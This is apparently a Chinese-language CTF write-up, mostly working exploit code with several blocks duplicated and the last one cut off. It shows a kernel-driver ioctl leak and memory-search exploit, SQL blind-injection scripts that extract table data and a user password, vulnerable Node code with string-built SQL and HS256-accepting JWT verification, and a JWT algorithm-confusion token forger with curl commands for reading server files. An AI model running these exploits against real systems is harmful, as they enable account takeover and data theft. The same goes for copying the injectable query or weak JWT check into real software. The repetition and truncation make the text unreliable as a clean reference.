    log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170402, &buffer);
    log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32));
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]);
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170405, &buffer);
    log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]);
 
    char pl[0x10000];
    for (int i = 0; i < 2000; i++) {
        lseek(fd, 0, SEEK_SET);
        if (write(fd, pl, 0x10000) < 0)
        {
            log_error("write failed");
            break;
        }
    }
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170404, &buffer);
    log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3]));
    uint32_t new_length = (uint32_t)buffer.dest[3];
 
    memset(&buffer, 0, sizeof(buffer));
    ioctl(fd, 0x83170403, &buffer);
    log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32));
    uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32);
 
    char buf[4096];
    memset(buf, '\x00', 4096);
    size_t step = 4096;
    // 开始爆搜
    for(size_t offset = 0;offset<new_length;offset+=step){
 
        lseek(fd, offset, SEEK_SET);
        ssize_t n = read(fd, buf, step);
        if (n <= 0)
        {
            log_error("read failed");
            break;
        }
        // print_binary(buf, step);
        char *flag_ptr = findflag((unsigned char *)buf, step);
        if(flag_ptr)
        {
            print_binary(buf,step);
            log_success("Flag found: %s", flag_ptr);
            break;
        }
 
    }
 
    return 0;
}
switch ( v11 )
{
    case 0xFFFF2525:
        // 认证请求处理break;
    case 0x7F687985u:
        // 转发请求处理break;
    case 0x85856547:
        // 更新配置处理break;
    case 0x85856546:
        // 读取日志处理break;
    default:
        p_UNKNOWN_HEADER = "UNKNOWN_HEADER";
        // 返回未知头错误break;
}
switch ( v11 )
{
    case 0xFFFF2525:
        // 认证请求处理break;
    case 0x7F687985u:
        // 转发请求处理break;
    case 0x85856547:
        // 更新配置处理break;
    case 0x85856546:
        // 读取日志处理break;
    default:
        p_UNKNOWN_HEADER = "UNKNOWN_HEADER";
        // 返回未知头错误break;
}
case 0xFFFF2525:
      if ( (unsigned int)sub_293A() )
      {
        fwrite("Failed to refresh config\n", 1u, 0x19u, stderr);
        free(ptr);
        return 0xFFFFFFFFLL;
      }
      if ( size <= 7 || !d || !::n )
        goto LABEL_33;
      netlong_2 = *(_QWORD *)ptr;
      v27 = sub_228A(netlong_2);
      *(_QWORD *)s1 = RSA(v27, ::n, d);
      *(_QWORD *)s = sub_250A((__int64)"hack", 4u);
      n_1 = strlen(s);
      if ( !strncmp(s1, s, n_1) )
      {
        fda = open("/dev/urandom", 0);
        if ( fda < 0 )
        {
          for ( n31 = 0; n31 <= 31; ++n31 )
            p_netlong[n31] = rand();
        }
        else
        {
          sub_2A8F((unsigned int)fda, (__int64)p_netlong, 0x20u);
          close(fda);
        }
        dword_7280 = 1;
        sub_23FA("cookie.txt");
        sub_2B09(fd, (__int64)p_netlong, 0x20u);
      }
      else
      {
        p_AUTH_FAIL = "AUTH_FAIL";
        v3 = strlen("AUTH_FAIL");
        sub_2B09(fd, (__int64)p_AUTH_FAIL, v3);
      }
      break;
case 0xFFFF2525:
      if ( (unsigned int)sub_293A() )
      {
        fwrite("Failed to refresh config\n", 1u, 0x19u, stderr);
        free(ptr);
        return 0xFFFFFFFFLL;
      }
      if ( size <= 7 || !d || !::n )
        goto LABEL_33;
      netlong_2 = *(_QWORD *)ptr;
      v27 = sub_228A(netlong_2);
      *(_QWORD *)s1 = RSA(v27, ::n, d);
      *(_QWORD *)s = sub_250A((__int64)"hack", 4u);
      n_1 = strlen(s);
      if ( !strncmp(s1, s, n_1) )
      {
        fda = open("/dev/urandom", 0);
        if ( fda < 0 )
        {
          for ( n31 = 0; n31 <= 31; ++n31 )
            p_netlong[n31] = rand();
        }
        else
        {
          sub_2A8F((unsigned int)fda, (__int64)p_netlong, 0x20u);
          close(fda);
        }
        dword_7280 = 1;
        sub_23FA("cookie.txt");
        sub_2B09(fd, (__int64)p_netlong, 0x20u);
      }
      else
      {
        p_AUTH_FAIL = "AUTH_FAIL";
        v3 = strlen("AUTH_FAIL");
        sub_2B09(fd, (__int64)p_AUTH_FAIL, v3);
      }
      break;
case 0x7F687985u:
      if ( size > 0x1F )
      {
        if ( (unsigned int)sub_247D("cookie.txt") )
        {
          fwrite("Failed to load cookie from file\n", 1u, 0x20u, stderr);
          free(ptr);
          return 0xFFFFFFFFLL;
        }
        if ( !dword_7280 || memcmp(ptr, p_netlong, 0x20u) )
        {
          p_BAD_COOKIE = "BAD_COOKIE";
          v4 = strlen("BAD_COOKIE");
          sub_2B09(fd, (__int64)p_BAD_COOKIE, v4);
          free(ptr);
          return 0xFFFFFFFFLL;
        }
        if ( (unsigned int)sub_2B76((__int64)ptr + 32, size - 32, s_) )
        {
          sub_2B09(fd, (__int64)"FORWARD_ERR", 0xBu);
        }
        else
        {
          v5 = strlen(s_);
          sub_2B09(fd, (__int64)s_, v5);
        }
        break;
      }
LABEL_33:
      free(ptr);
      return 0xFFFFFFFFLL;
case 0x7F687985u:
      if ( size > 0x1F )
      {
        if ( (unsigned int)sub_247D("cookie.txt") )
        {
          fwrite("Failed to load cookie from file\n", 1u, 0x20u, stderr);
          free(ptr);
          return 0xFFFFFFFFLL;
        }
        if ( !dword_7280 || memcmp(ptr, p_netlong, 0x20u) )
        {
          p_BAD_COOKIE = "BAD_COOKIE";
          v4 = strlen("BAD_COOKIE");
          sub_2B09(fd, (__int64)p_BAD_COOKIE, v4);
          free(ptr);
          return 0xFFFFFFFFLL;
        }
        if ( (unsigned int)sub_2B76((__int64)ptr + 32, size - 32, s_) )
        {
          sub_2B09(fd, (__int64)"FORWARD_ERR", 0xBu);
        }
        else
        {
          v5 = strlen(s_);
          sub_2B09(fd, (__int64)s_, v5);
        }
        break;
      }
LABEL_33:
      free(ptr);
      return 0xFFFFFFFFLL;
v51 = (void (*)...)sub_40287D(haystack, s1);  // 根据 URI 查找 handler
if ( !v51 )
{
    sub_402537(fd);  // 404 Not Found
    return 0;
}
 
v51((unsigned int)fd, s2, (unsigned int)n2046_1);
v51 = (void (*)...)sub_40287D(haystack, s1);  // 根据 URI 查找 handler
if ( !v51 )
{
    sub_402537(fd);  // 404 Not Found
    return 0;
}
 
v51((unsigned int)fd, s2, (unsigned int)n2046_1);
Python
import requests
import time
import sys
  
# 配置参数
TARGET_API = "http://example"
REQUEST_HEADERS = {"Content-Type": "application/json"}
CHAR_SET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZflag{}_!@#$%^&*(),.?/-"
REQUEST_INTERVAL = 0.25
MAX_RETRY_TIMES = 3
  
class DataExtractor:
    """数据提取核心类"""
  
    def __init__(self, target_url, headers, char_set):
        self.target_url = target_url
        self.headers = headers
        self.char_set = char_set
        self.table_name = "where_is_my_flagggggg"
  
    def _request_handler(self, query_payload):
        """请求发送处理器,包含重试和限速处理"""
        for retry in range(MAX_RETRY_TIMES):
            try:
                response = requests.post(
                    self.target_url,
                    json={"query": query_payload},
                    headers=self.headers,
                    timeout=10
                )
  
                if response.status_code == 429:
                    print("\r[警告] 请求频率超限,等待3秒重试...", end="")
                    time.sleep(1)
                    continue
  
                time.sleep(REQUEST_INTERVAL)
                if response.status_code == 200:
                    return response.json()
                else:
                    return None
  
            except (requests.exceptions.RequestException, TimeoutError):
                time.sleep(1)
                return None
  
    def _condition_verifier(self, condition_expr):
        """条件验证器:执行条件判断并返回结果"""
        payload = f"1'||({condition_expr})#"
        response_data = self._request_handler(payload)
        if response_data:
            return response_data.get("count", 0) > 0
        return False
  
    def _compare_greater(self, target_sub, value):
        return self._condition_verifier(f"{target_sub}>{value}")
  
    def _compare_equal(self, target_sub, value):
        return self._condition_verifier(f"{target_sub}={value}")
  
    def get_length_via_binary(self, target_sub, max_length=200):
        """二分查找获取目标字符串长度"""
        left, right = 0, max_length
        while left < right:
            middle = (left + right + 1) // 2
            if self._compare_greater(f"length({target_sub})", middle - 1):
                left = middle
            else:
                right = middle - 1
  
        if self._compare_equal(f"length({target_sub})", left):
            return left
        return 0
  
    def get_char_via_check(self, target_sub, position):
        """逐字符验证获取目标位置字符"""
        for char in self.char_set:
            check_expr = f"substr({target_sub},{position},1)='{char}'"
            if self._condition_verifier(check_expr):
                return char
        return "?"
  
    def extract_full_string(self, target_sub, str_length):
        """提取完整字符串"""
        extracted_str = ""
        for pos in range(1, str_length + 1):
            current_char = self.get_char_via_check(target_sub, pos)
            extracted_str += current_char
            sys.stdout.write(f"\r提取进度: {extracted_str}")
            sys.stdout.flush()
        print()
        return extracted_str
  
    def get_table_columns(self):
        """获取目标表的列名列表"""
        columns_list = []
        for col_index in range(5):
            column_subquery = (
                f"(/*!50000select*/column_name"
                f"/*!50000from*/information_schema.columns"
                f"/*!50000where*/table_name='{self.table_name}'"
                f"/*!50000limit*/{col_index},1)"
            )
  
            col_length = self.get_length_via_binary(column_subquery, 50)
            if not col_length:
                break
  
            print(f" 列[{col_index}] 长度: {col_length}")
            column_name = self.extract_full_string(column_subquery, col_length)
            columns_list.append(column_name)
            print(f" 列[{col_index}] 名称: {column_name}")
  
        return columns_list
  
    def get_table_row_count(self):
        """获取目标表的行数"""
        row_count_subquery = (
            f"(/*!50000select*/count(*)"
            f"/*!50000from*/{self.table_name})"
        )
  
        row_number = 0
        for num in range(1, 10):
            if self._compare_equal(row_count_subquery, num):
                row_number = num
                break
  
        return row_number if row_number > 0 else 1
  
    def extract_column_data(self, column_name, row_count):
        """提取指定列的数据"""
        print(f"\n[提取进程] 开始提取 {column_name} 列数据...")
  
        for row_index in range(row_count):
            data_subquery = (
                f"(/*!50000select*/{column_name}"
                f"/*!50000from*/{self.table_name}"
                f"/*!50000limit*/{row_index},1)"
            )
  
            data_length = self.get_length_via_binary(data_subquery, 150)
            print(f" 行[{row_index}] 数据长度: {data_length}")
  
            if data_length:
                extracted_data = self.extract_full_string(data_subquery, data_length)
                print(f" 行[{row_index}] 数据内容: {extracted_data}")
  
                if any(flag_char in extracted_data for flag_char in ["flag", "FLAG", "{", "}"]):
                    print(f"\n{'='*60}")
                    print(f"[找到FLAG] {extracted_data}")
                    print(f"{'='*60}")
  
    def run_extraction(self):
        """执行完整的数据提取流程"""
        print("="*60)
        print(f"[启动提取] 目标数据表: {self.table_name}")
        print("="*60)
  
        print("\n[步骤1] 开始提取数据表列名...")
        table_columns = self.get_table_columns()
        print(f"\n[提取结果] 检测到列名列表: {table_columns}")
  
        print("\n[步骤2] 开始检测数据表行数...")
        row_count = self.get_table_row_count()
        print(f"[提取结果] 数据表行数: {row_count}")
  
        print("\n[步骤3] 开始提取列数据...")
        for column in table_columns:
            self.extract_column_data(column, row_count)
  
# 主函数入口
if __name__ == "__main__":
    extractor = DataExtractor(TARGET_API, REQUEST_HEADERS, CHAR_SET)
    extractor.run_extraction()
Python
import requests
import time
import sys
  
# 配置参数
TARGET_API = "http://example"
REQUEST_HEADERS = {"Content-Type": "application/json"}
CHAR_SET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZflag{}_!@#$%^&*(),.?/-"
REQUEST_INTERVAL = 0.25
MAX_RETRY_TIMES = 3
  
class DataExtractor:
    """数据提取核心类"""
  
    def __init__(self, target_url, headers, char_set):
        self.target_url = target_url
        self.headers = headers
        self.char_set = char_set
        self.table_name = "where_is_my_flagggggg"
  
    def _request_handler(self, query_payload):
        """请求发送处理器,包含重试和限速处理"""
        for retry in range(MAX_RETRY_TIMES):
            try:
                response = requests.post(
                    self.target_url,
                    json={"query": query_payload},
                    headers=self.headers,
                    timeout=10
                )
  
                if response.status_code == 429:
                    print("\r[警告] 请求频率超限,等待3秒重试...", end="")
                    time.sleep(1)
                    continue
  
                time.sleep(REQUEST_INTERVAL)
                if response.status_code == 200:
                    return response.json()
                else:
                    return None
  
            except (requests.exceptions.RequestException, TimeoutError):
                time.sleep(1)
                return None
  
    def _condition_verifier(self, condition_expr):
        """条件验证器:执行条件判断并返回结果"""
        payload = f"1'||({condition_expr})#"
        response_data = self._request_handler(payload)
        if response_data:
            return response_data.get("count", 0) > 0
        return False
  
    def _compare_greater(self, target_sub, value):
        return self._condition_verifier(f"{target_sub}>{value}")
  
    def _compare_equal(self, target_sub, value):
        return self._condition_verifier(f"{target_sub}={value}")
  
    def get_length_via_binary(self, target_sub, max_length=200):
        """二分查找获取目标字符串长度"""
        left, right = 0, max_length
        while left < right:
            middle = (left + right + 1) // 2
            if self._compare_greater(f"length({target_sub})", middle - 1):
                left = middle
            else:
                right = middle - 1
  
        if self._compare_equal(f"length({target_sub})", left):
            return left
        return 0
  
    def get_char_via_check(self, target_sub, position):
        """逐字符验证获取目标位置字符"""
        for char in self.char_set:
            check_expr = f"substr({target_sub},{position},1)='{char}'"
            if self._condition_verifier(check_expr):
                return char
        return "?"
  
    def extract_full_string(self, target_sub, str_length):
        """提取完整字符串"""
        extracted_str = ""
        for pos in range(1, str_length + 1):
            current_char = self.get_char_via_check(target_sub, pos)
            extracted_str += current_char
            sys.stdout.write(f"\r提取进度: {extracted_str}")
            sys.stdout.flush()
        print()
        return extracted_str
  
    def get_table_columns(self):
        """获取目标表的列名列表"""
        columns_list = []
        for col_index in range(5):
            column_subquery = (
                f"(/*!50000select*/column_name"
                f"/*!50000from*/information_schema.columns"
                f"/*!50000where*/table_name='{self.table_name}'"
                f"/*!50000limit*/{col_index},1)"
            )
  
            col_length = self.get_length_via_binary(column_subquery, 50)
            if not col_length:
                break
  
            print(f" 列[{col_index}] 长度: {col_length}")
            column_name = self.extract_full_string(column_subquery, col_length)
            columns_list.append(column_name)
            print(f" 列[{col_index}] 名称: {column_name}")
  
        return columns_list
  
    def get_table_row_count(self):
        """获取目标表的行数"""
        row_count_subquery = (
            f"(/*!50000select*/count(*)"
            f"/*!50000from*/{self.table_name})"
        )
  
        row_number = 0
        for num in range(1, 10):
            if self._compare_equal(row_count_subquery, num):
                row_number = num
                break
  
        return row_number if row_number > 0 else 1
  
    def extract_column_data(self, column_name, row_count):
        """提取指定列的数据"""
        print(f"\n[提取进程] 开始提取 {column_name} 列数据...")
  
        for row_index in range(row_count):
            data_subquery = (
                f"(/*!50000select*/{column_name}"
                f"/*!50000from*/{self.table_name}"
                f"/*!50000limit*/{row_index},1)"
            )
  
            data_length = self.get_length_via_binary(data_subquery, 150)
            print(f" 行[{row_index}] 数据长度: {data_length}")
  
            if data_length:
                extracted_data = self.extract_full_string(data_subquery, data_length)
                print(f" 行[{row_index}] 数据内容: {extracted_data}")
  
                if any(flag_char in extracted_data for flag_char in ["flag", "FLAG", "{", "}"]):
                    print(f"\n{'='*60}")
                    print(f"[找到FLAG] {extracted_data}")
                    print(f"{'='*60}")
  
    def run_extraction(self):
        """执行完整的数据提取流程"""
        print("="*60)
        print(f"[启动提取] 目标数据表: {self.table_name}")
        print("="*60)
  
        print("\n[步骤1] 开始提取数据表列名...")
        table_columns = self.get_table_columns()
        print(f"\n[提取结果] 检测到列名列表: {table_columns}")
  
        print("\n[步骤2] 开始检测数据表行数...")
        row_count = self.get_table_row_count()
        print(f"[提取结果] 数据表行数: {row_count}")
  
        print("\n[步骤3] 开始提取列数据...")
        for column in table_columns:
            self.extract_column_data(column, row_count)
  
# 主函数入口
if __name__ == "__main__":
    extractor = DataExtractor(TARGET_API, REQUEST_HEADERS, CHAR_SET)
    extractor.run_extraction()
JavaScript
module.exports = {
    getUser(username){
        let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username);
        return result;
    },
 
    checkUser(username){
        let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username);
        return (result === undefined);
    },
 
    createUser(username, password){
        let query = 'INSERT INTO users(username, password) VALUES(?,?)';
        db.prepare(query).run(username,password);
    },
 
    attemptLogin(username, password){
        let result=db.prepare(`SELECT * FROM users WHERE username = ? AND password = ?`).get(username,password);
        return (result !== undefined);
    },
    sendFeedback(message){
        db.prepare(`INSERT INTO messages VALUES('${message}')`).run();
    }
}
JavaScript
module.exports = {
    getUser(username){
        let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username);
        return result;
    },
 
    checkUser(username){
        let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username);
        return (result === undefined);
    },
 
    createUser(username, password){
        let query = 'INSERT INTO users(username, password) VALUES(?,?)';
        db.prepare(query).run(username,password);
    },
 
    attemptLogin(username, password){
        let result=db.prepare(`SELECT * FROM users WHERE username = ? AND password = ?`).get(username,password);
        return (result !== undefined);
    },
    sendFeedback(message){
        db.prepare(`INSERT INTO messages VALUES('${message}')`).run();
    }
}
Python
import requests
import string
 
 
TARGET_URL = "https://example"  # 修改为实际地址
 
 
COOKIES = {
    "session": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QwMSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY4OTM5MTV9.vwS9rDSVPzLtuf_tJKPdJQ8h4D29uBdpIZSh9BsgWbwOcw1rlJ2RVzhZvQGPxSiF08ZHuePTOiJNuP_pHtttSj78GrP23YLg69ARssznwva0rhLPPi_3cHvJYoYNmnxILV_0sACwOA-fSenn4MYVwqUUXc40d9yqg0jaMDEl8SU"
}
 
 
PASSWORD_LENGTH = 12
 
def check_condition(payload):
    data = {"message": payload}
    try:
        resp = requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=10)
        return "OK" in resp.text
    except Exception as e:
        print(f"[!] 请求错误: {e}")
        return False
 
 
def extract_char_simple(position, table="users", column="password"):
    simple_chars = {
        30: '0', 31: '1', 32: '2', 33: '3', 34: '4',
        35: '5', 36: '6', 37: '7', 38: '8', 39: '9',
        61: 'a', 62: 'b', 63: 'c', 64: 'd', 65: 'e',
        66: 'f', 67: 'g', 68: 'h', 69: 'i'
    }
     
    for hex_val, char in simple_chars.items():
        payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- "
        if check_condition(payload):
            return char
     
    return None
 
 
def extract_char_double_hex(position, table="users", column="password"):
    double_hex_chars = {
        3641: 'j', 3642: 'k', 3643: 'l', 3644: 'm',
        3645: 'n', 3646: 'o',
        3730: 'p', 3731: 'q', 3732: 'r', 3733: 's', 3734: 't',
        3735: 'u', 3736: 'v', 3737: 'w', 3738: 'x', 3739: 'y',
        3741: 'z',
        3441: 'J', 3442: 'K', 3443: 'L', 3444: 'M',
        3445: 'N', 3446: 'O',
        3530: 'P', 3531: 'Q', 3532: 'R', 3533: 'S', 3534: 'T',
        3535: 'U', 3536: 'V', 3537: 'W', 3538: 'X', 3539: 'Y',
        3541: 'Z',
        3231: '!', 3430: '@', 3233: '#', 3234: '$', 3235: '%',
        3564: '^', 3236: '&', 3261: '*', 3238: '(', 3239: ')',
        3564: '_', 3244: '-', 3362: '.',
    }
     
    for hex_val, char in double_hex_chars.items():
        payload = f"' || (SELECT CASE WHEN CAST(HEX(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1))) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- "
        if check_condition(payload):
            return char
     
    return None
 
 
def extract_char_simple_upper(position, table="users", column="password"):
    upper_chars = {
        41: 'A', 42: 'B', 43: 'C', 44: 'D', 45: 'E',
        46: 'F', 47: 'G', 48: 'H', 49: 'I'
    }
     
    for hex_val, char in upper_chars.items():
        payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- "
        if check_condition(payload):
            return char
     
    return None
 
 
def extract_char(position, table="users", column="password"):
    print(f"[*] 正在提取第 {position} 个字符...", end=" ", flush=True)
     
    # 先尝试简单HEX (0-9, a-i)
    char = extract_char_simple(position, table, column)
    if char:
        print(f"找到: {char}")
        return char
     
    # 尝试大写字母 A-I
    char = extract_char_simple_upper(position, table, column)
    if char:
        print(f"找到: {char}")
        return char
     
    # 尝试双重HEX (j-z, J-Z, 特殊字符)
    char = extract_char_double_hex(position, table, column)
    if char:
        print(f"找到: {char}")
        return char
     
    print("未找到!")
    return "?"
 
 
def extract_password():
    print(f"[+] 开始提取密码 (长度: {PASSWORD_LENGTH})")
    print("-" * 40)
     
    password = ""
    for i in range(1, PASSWORD_LENGTH + 1):
        char = extract_char(i)
        password += char
        print(f"[+] 当前密码: {password}")
     
    print("-" * 40)
    print(f"[+] 提取完成!")
    print(f"[+] 密码: {password}")
    return password
 
 
def test_connection():
    print("[*] 测试连接...")
    payload = "')-- "
    if check_condition(payload):
        print("[+] 连接成功!")
        return True
    else:
        print("[-] 连接失败,请检查URL")
        return False
 
 
if __name__ == "__main__":
    print("=" * 40)
    print("  SQL盲注 - 密码提取脚本")
    print("=" * 40)
     
    # 修改目标URL
    url_input = input(f"[?] 输入目标URL (默认: {TARGET_URL}): ").strip()
    if url_input:
        TARGET_URL = url_input
     
    # 输入Cookie
    cookie_input = input("[?] 输入session cookie (留空跳过): ").strip()
    if cookie_input:
        COOKIES["session"] = cookie_input
     
    if test_connection():
        extract_password()
Python
import requests
import string
 
 
TARGET_URL = "https://example"  # 修改为实际地址
 
 
COOKIES = {
    "session": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QwMSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY4OTM5MTV9.vwS9rDSVPzLtuf_tJKPdJQ8h4D29uBdpIZSh9BsgWbwOcw1rlJ2RVzhZvQGPxSiF08ZHuePTOiJNuP_pHtttSj78GrP23YLg69ARssznwva0rhLPPi_3cHvJYoYNmnxILV_0sACwOA-fSenn4MYVwqUUXc40d9yqg0jaMDEl8SU"
}
 
 
PASSWORD_LENGTH = 12
 
def check_condition(payload):
    data = {"message": payload}
    try:
        resp = requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=10)
        return "OK" in resp.text
    except Exception as e:
        print(f"[!] 请求错误: {e}")
        return False
 
 
def extract_char_simple(position, table="users", column="password"):
    simple_chars = {
        30: '0', 31: '1', 32: '2', 33: '3', 34: '4',
        35: '5', 36: '6', 37: '7', 38: '8', 39: '9',
        61: 'a', 62: 'b', 63: 'c', 64: 'd', 65: 'e',
        66: 'f', 67: 'g', 68: 'h', 69: 'i'
    }
     
    for hex_val, char in simple_chars.items():
        payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- "
        if check_condition(payload):
            return char
     
    return None
 
 
def extract_char_double_hex(position, table="users", column="password"):
    double_hex_chars = {
        3641: 'j', 3642: 'k', 3643: 'l', 3644: 'm',
        3645: 'n', 3646: 'o',
        3730: 'p', 3731: 'q', 3732: 'r', 3733: 's', 3734: 't',
        3735: 'u', 3736: 'v', 3737: 'w', 3738: 'x', 3739: 'y',
        3741: 'z',
        3441: 'J', 3442: 'K', 3443: 'L', 3444: 'M',
        3445: 'N', 3446: 'O',
        3530: 'P', 3531: 'Q', 3532: 'R', 3533: 'S', 3534: 'T',
        3535: 'U', 3536: 'V', 3537: 'W', 3538: 'X', 3539: 'Y',
        3541: 'Z',
        3231: '!', 3430: '@', 3233: '#', 3234: '$', 3235: '%',
        3564: '^', 3236: '&', 3261: '*', 3238: '(', 3239: ')',
        3564: '_', 3244: '-', 3362: '.',
    }
     
    for hex_val, char in double_hex_chars.items():
        payload = f"' || (SELECT CASE WHEN CAST(HEX(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1))) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- "
        if check_condition(payload):
            return char
     
    return None
 
 
def extract_char_simple_upper(position, table="users", column="password"):
    upper_chars = {
        41: 'A', 42: 'B', 43: 'C', 44: 'D', 45: 'E',
        46: 'F', 47: 'G', 48: 'H', 49: 'I'
    }
     
    for hex_val, char in upper_chars.items():
        payload = f"' || (SELECT CASE WHEN CAST(HEX(SUBSTR((SELECT {column} FROM {table} LIMIT 1),{position},1)) AS INTEGER)={hex_val} THEN 1 ELSE NULL END))-- "
        if check_condition(payload):
            return char
     
    return None
 
 
def extract_char(position, table="users", column="password"):
    print(f"[*] 正在提取第 {position} 个字符...", end=" ", flush=True)
     
    # 先尝试简单HEX (0-9, a-i)
    char = extract_char_simple(position, table, column)
    if char:
        print(f"找到: {char}")
        return char
     
    # 尝试大写字母 A-I
    char = extract_char_simple_upper(position, table, column)
    if char:
        print(f"找到: {char}")
        return char
     
    # 尝试双重HEX (j-z, J-Z, 特殊字符)
    char = extract_char_double_hex(position, table, column)
    if char:
        print(f"找到: {char}")
        return char
     
    print("未找到!")
    return "?"
 
 
def extract_password():
    print(f"[+] 开始提取密码 (长度: {PASSWORD_LENGTH})")
    print("-" * 40)
     
    password = ""
    for i in range(1, PASSWORD_LENGTH + 1):
        char = extract_char(i)
        password += char
        print(f"[+] 当前密码: {password}")
     
    print("-" * 40)
    print(f"[+] 提取完成!")
    print(f"[+] 密码: {password}")
    return password
 
 
def test_connection():
    print("[*] 测试连接...")
    payload = "')-- "
    if check_condition(payload):
        print("[+] 连接成功!")
        return True
    else:
        print("[-] 连接失败,请检查URL")
        return False
 
 
if __name__ == "__main__":
    print("=" * 40)
    print("  SQL盲注 - 密码提取脚本")
    print("=" * 40)
     
    # 修改目标URL
    url_input = input(f"[?] 输入目标URL (默认: {TARGET_URL}): ").strip()
    if url_input:
        TARGET_URL = url_input
     
    # 输入Cookie
    cookie_input = input("[?] 输入session cookie (留空跳过): ").strip()
    if cookie_input:
        COOKIES["session"] = cookie_input
     
    if test_connection():
        extract_password()
JavaScript
const jwt = require('jsonwebtoken');
const fs = require('fs');
 
const publicKey  = fs.readFileSync('./publickey.pem', 'utf8');
const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');
 
module.exports = {
    async sign(data) {
        data = Object.assign(data);
        return (await jwt.sign(data, privateKey, { algorithm:'RS256'}))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256','HS256'] }));
    }
}
JavaScript
const jwt = require('jsonwebtoken');
const fs = require('fs');
 
const publicKey  = fs.readFileSync('./publickey.pem', 'utf8');
const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');
 
module.exports = {
    async sign(data) {
        data = Object.assign(data);
        return (await jwt.sign(data, privateKey, { algorithm:'RS256'}))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256','HS256'] }));
    }
}
Python
import hmac
import hashlib
import base64
import json
import time
 
# 公钥 - 必须在末尾加 \n
PUBLICKEY = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtcZQ4xWg02WgSE2+k9MviV5iU
xaEZCYejT8uOYX/QIWQLj7/jAhj/HafzkyWfTaFhoubbpBkY5pWTO3gANvPUVMZ3
ytz0VAY57/G20BKS6A36DB4qOqDB3Hzx7Tt3+GhPvOK++7AIJ1xgGFEfueYV5RyM
DZ+NizQLLjpV394lHQIDAQAB
-----END PUBLIC KEY-----
"""
 
def base64url_encode(data):
    """Base64 URL编码"""
    if isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
 
def forge_jwt(username="admin", priviledge="File-Priviledged-User"):
    """伪造JWT token"""
    # Header - 使用HS256算法
    header = {"alg": "HS256", "typ": "JWT"}
     
    # Payload - 必须包含iat字段
    payload = {
        "username": username,
        "priviledge": priviledge,
        "iat": int(time.time())
    }
     
    # 编码
    header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')))
    payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')))
     
    # 签名消息
    message = f"{header_b64}.{payload_b64}"
     
    # 使用公钥作为HMAC密钥(关键:公钥必须以\n结尾)
    signature = hmac.new(
        PUBLICKEY.encode('utf-8'),
        message.encode('utf-8'),
        hashlib.sha256
    ).digest()
     
    sig_b64 = base64url_encode(signature)
     
    return f"{message}.{sig_b64}"
 
if __name__ == "__main__":
    print("=" * 60)
    print("  JWT算法混淆攻击 - 伪造File-Priviledged-User权限")
    print("=" * 60)
     
    token = forge_jwt()
     
    print(f"\n[+] 伪造的JWT Token:")
    print(token)
     
    print(f"\n[+] 测试命令 (需要替换TARGET_URL):")
    print(f"""
# 测试主页(应该返回200)
curl "TARGET_URL/" -H "Cookie: session={token}" -k
 
# 读取system.log
curl "TARGET_URL/checkfile?file=system.log" -H "Cookie: session={token}" -k
 
# 读取flag(需要找到正确的文件名)
# 由于路径截断,输入长度>10会截断为前10字符
# 例如:flagXXXXXX.log -> flagXXXXXX (读取./flagXXXXXX)
""")
     
    # 保存token
    with open("forged_token.txt", "w") as f:
        f.write(token)
    print(f"[+] Token已保存到 forged_token.txt")
Python
import hmac
import hashlib
import base64
import json
import time
 
# 公钥 - 必须在末尾加 \n
PUBLICKEY = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtcZQ4xWg02WgSE2+k9MviV5iU
